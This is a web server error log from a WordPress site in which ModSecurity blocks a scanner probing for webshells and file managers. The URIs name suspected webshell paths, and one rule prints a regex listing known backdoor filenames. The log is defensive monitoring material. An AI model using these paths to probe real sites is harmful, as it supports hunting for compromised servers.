[Sat Feb 28 08:47:20.357061 2026] [:error] [pid 39184:tid 39227] [client 173.244.55.28:56527] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aaI7GFtZF9Zd_U7easCASgAAAEg"]
[Sat Feb 28 08:47:21.238118 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.21:30241] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aaI7GWuX5e1Q32gqxH0kGQAAAQ8"]
[Sat Feb 28 08:47:22.127706 2026] [:error] [pid 39184:tid 39239] [client 173.244.55.29:34283] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aaI7GltZF9Zd_U7easCAVAAAAFQ"]
[Sat Feb 28 08:47:23.907052 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.30:61185] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "aaI7G6IAO5fN7BxyqcEzrgAAAMs"]
[Sat Feb 28 08:47:25.230850 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.21:37575] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/"] [unique_id "aaI7HaIAO5fN7BxyqcEzyQAAAMY"]
[Sat Feb 28 08:47:26.108011 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.26:32993] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes/"] [unique_id "aaI7HmuX5e1Q32gqxH0kagAAAQ4"]
[Sat Feb 28 08:47:31.824795 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.22:34005] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-wordpress/"] [unique_id "aaI7I36mbajs3bzQGyuhAwAAAUM"]
[Sat Feb 28 08:47:33.154102 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.29:45753] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/ALFA_DATA/alfacgiapi/"] [unique_id "aaI7JX6mbajs3bzQGyuhLwAAAVA"]
[Sat Feb 28 08:47:42.629558 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.20:52487] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Uwogh-Segs/"] [unique_id "aaI7Ln6mbajs3bzQGyuh1QAAAU8"]
[Sat Feb 28 08:47:43.942329 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.23:47869] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-diambar/includes/"] [unique_id "aaI7L2uX5e1Q32gqxH0l6AAAAQM"]
[Sat Feb 28 08:47:44.812750 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.23:57285] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-diambar/includes/"] [unique_id "aaI7MGuX5e1Q32gqxH0mDAAAAQw"]
[Sat Feb 28 08:47:47.903470 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.25:50085] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/revslider/templates/immersion-photography/"] [unique_id "aaI7M6IAO5fN7BxyqcE0VwAAANE"]
[Sat Feb 28 08:47:48.784631 2026] [:error] [pid 39184:tid 39235] [client 173.244.55.31:33257] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/revslider/templates/immersion-photography/"] [unique_id "aaI7NFtZF9Zd_U7easCA8AAAAFA"]
[Sat Feb 28 08:47:52.732930 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.30:38189] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/thuoc-nam/"] [unique_id "aaI7OKIAO5fN7BxyqcE0igAAAMs"]
[Sat Feb 28 08:47:53.612044 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.30:28281] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/thuoc-nam/"] [unique_id "aaI7OaIAO5fN7BxyqcE0nQAAAMg"]
[Sat Feb 28 08:47:54.934142 2026] [:error] [pid 39185:tid 39258] [client 173.244.55.25:58367] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfive/"] [unique_id "aaI7OhVE-FfM89u7BQaj1wAAAIw"]
[Sat Feb 28 08:47:56.251834 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.26:51013] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/"] [unique_id "aaI7PH6mbajs3bzQGyuiXQAAAUM"]
[Sat Feb 28 08:48:01.620537 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.30:24787] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/"] [unique_id "aaI7QWuX5e1Q32gqxH0n6AAAAQk"]
[Sat Feb 28 08:48:03.850305 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.23:23703] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wpr-addons/forms/"] [unique_id "aaI7Q2uX5e1Q32gqxH0oCgAAARE"]
[Sat Feb 28 08:48:07.805327 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.26:62523] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaI7R2uX5e1Q32gqxH0oYgAAAQU"]
[Sat Feb 28 08:48:08.694246 2026] [:error] [pid 39183:tid 39201] [client 173.244.55.25:53657] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aaI7SBCf4HvhVePw3LahTAAAAAk"]
[Sat Feb 28 08:48:10.458944 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.28:55461] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aaI7ShCf4HvhVePw3LahXQAAAAg"]
[Sat Feb 28 08:48:12.241407 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.25:45915] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "aaI7TKIAO5fN7BxyqcE1mwAAAMM"]
[Sat Feb 28 08:48:14.459270 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.22:21103] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/"] [unique_id "aaI7Tn6mbajs3bzQGyujpAAAAU0"]
[Sat Feb 28 08:48:16.225204 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.23:38935] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/dummyyummy/"] [unique_id "aaI7UGuX5e1Q32gqxH0pIwAAAQU"]
[Sat Feb 28 08:48:20.237437 2026] [:error] [pid 39292:tid 39315] [client 173.244.55.29:25759] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fonts/"] [unique_id "aaI7VKIAO5fN7BxyqcE15QAAANU"]
[Sat Feb 28 08:48:22.013469 2026] [:error] [pid 39292:tid 39316] [client 173.244.55.30:33187] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/routes/"] [unique_id "aaI7VqIAO5fN7BxyqcE1_gAAANY"]
[Sat Feb 28 08:48:22.884459 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.30:47903] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/routes/"] [unique_id "aaI7VmuX5e1Q32gqxH0pxwAAAQk"]
[Sat Feb 28 08:48:24.206034 2026] [:error] [pid 39183:tid 39213] [client 173.244.55.22:58499] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/"] [unique_id "aaI7WBCf4HvhVePw3LahsgAAABU"]
[Sat Feb 28 08:48:25.529524 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.20:57067] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/beez3/"] [unique_id "aaI7WX6mbajs3bzQGyukrQAAAUM"]
[Sat Feb 28 08:48:27.755517 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.30:40725] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/templates/atomic/"] [unique_id "aaI7W6IAO5fN7BxyqcE2SgAAAM0"]
[Sat Feb 28 08:48:29.558613 2026] [:error] [pid 22194:tid 22215] [client 173.244.55.29:49203] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/"] [unique_id "aaI7XX6mbajs3bzQGyuk9wAAAVM"]
[Sat Feb 28 08:48:30.440283 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.26:58505] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/"] [unique_id "aaI7XhVE-FfM89u7BQak4gAAAJg"]
[Sat Feb 28 08:48:32.656929 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.28:59315] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/maintenance/"] [unique_id "aaI7YH6mbajs3bzQGyulGAAAAU8"]
[Sat Feb 28 08:48:33.987060 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.25:36499] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/x/"] [unique_id "aaI7YX6mbajs3bzQGyulKQAAAVg"]
[Sat Feb 28 08:48:34.859441 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.23:21973] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/x/"] [unique_id "aaI7YltZF9Zd_U7easCCMgAAAEQ"]
[Sat Feb 28 08:48:35.746228 2026] [:error] [pid 39184:tid 39241] [client 173.244.55.20:30223] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/x/"] [unique_id "aaI7Y1tZF9Zd_U7easCCOAAAAFY"]
[Sat Feb 28 08:50:14.179462 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:14.629461 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:15.077357 2026] [proxy_fcgi:error] [pid 22194:tid 22200] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:15.521888 2026] [proxy_fcgi:error] [pid 22194:tid 22219] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:15.972464 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:16.423454 2026] [proxy_fcgi:error] [pid 22194:tid 22201] [client 173.244.55.29:26455] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:16.866257 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.29:26455] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaI7yH6mbajs3bzQGyuq8AAAAVI"]
[Sat Feb 28 08:50:17.767969 2026] [:error] [pid 39184:tid 39238] [client 173.244.55.29:58173] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aaI7yVtZF9Zd_U7easCE-gAAAFM"]
[Sat Feb 28 08:50:18.670565 2026] [proxy_fcgi:error] [pid 39292:tid 39310] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:19.117447 2026] [proxy_fcgi:error] [pid 39292:tid 39294] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:19.560674 2026] [proxy_fcgi:error] [pid 39292:tid 39308] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:20.009354 2026] [proxy_fcgi:error] [pid 39292:tid 39317] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:20.903785 2026] [proxy_fcgi:error] [pid 39292:tid 39307] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:21.359444 2026] [proxy_fcgi:error] [pid 39292:tid 39316] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:21.808761 2026] [proxy_fcgi:error] [pid 39292:tid 39302] [client 173.244.55.23:63139] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:22.249172 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.23:63139] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaI7zqIAO5fN7BxyqcE8JgAAANc"]
[Sat Feb 28 08:50:23.120059 2026] [:error] [pid 39292:tid 39317] [client 173.244.55.30:43301] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaI7z6IAO5fN7BxyqcE8NAAAANc"]
[Sat Feb 28 08:50:24.000299 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.30:57277] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaI7z6IAO5fN7BxyqcE8PAAAAMY"]
[Sat Feb 28 08:50:24.895454 2026] [proxy_fcgi:error] [pid 11791:tid 11810] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:25.347477 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:25.790624 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:26.249469 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:26.698233 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:27.189442 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.22:59673] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:29.405983 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.22:59673] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/edit-wolf.php"] [unique_id "aaI71WuX5e1Q32gqxH0zOAAAAQk"]
[Sat Feb 28 08:50:33.383693 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.21:59039] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/bn_1_1754420677.phtml"] [unique_id "aaI72WuX5e1Q32gqxH0zegAAARQ"]
[Sat Feb 28 08:50:34.258761 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.29:44339] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/bn_1_1754420677.phtml"] [unique_id "aaI72n6mbajs3bzQGyur-AAAAUY"]
[Sat Feb 28 08:50:36.059181 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.30:53651] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI73H6mbajs3bzQGyusDQAAAUA"]
[Sat Feb 28 08:50:37.389304 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.25:61293] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/admin.php"] [unique_id "aaI73X6mbajs3bzQGyusIAAAAUs"]
[Sat Feb 28 08:50:39.176196 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.22:32541] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI73xVE-FfM89u7BQapxgAAAJg"]
[Sat Feb 28 08:50:40.501209 2026] [:error] [pid 39183:tid 39200] [client 173.244.55.29:54027] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI74BCf4HvhVePw3LakfAAAAAg"]
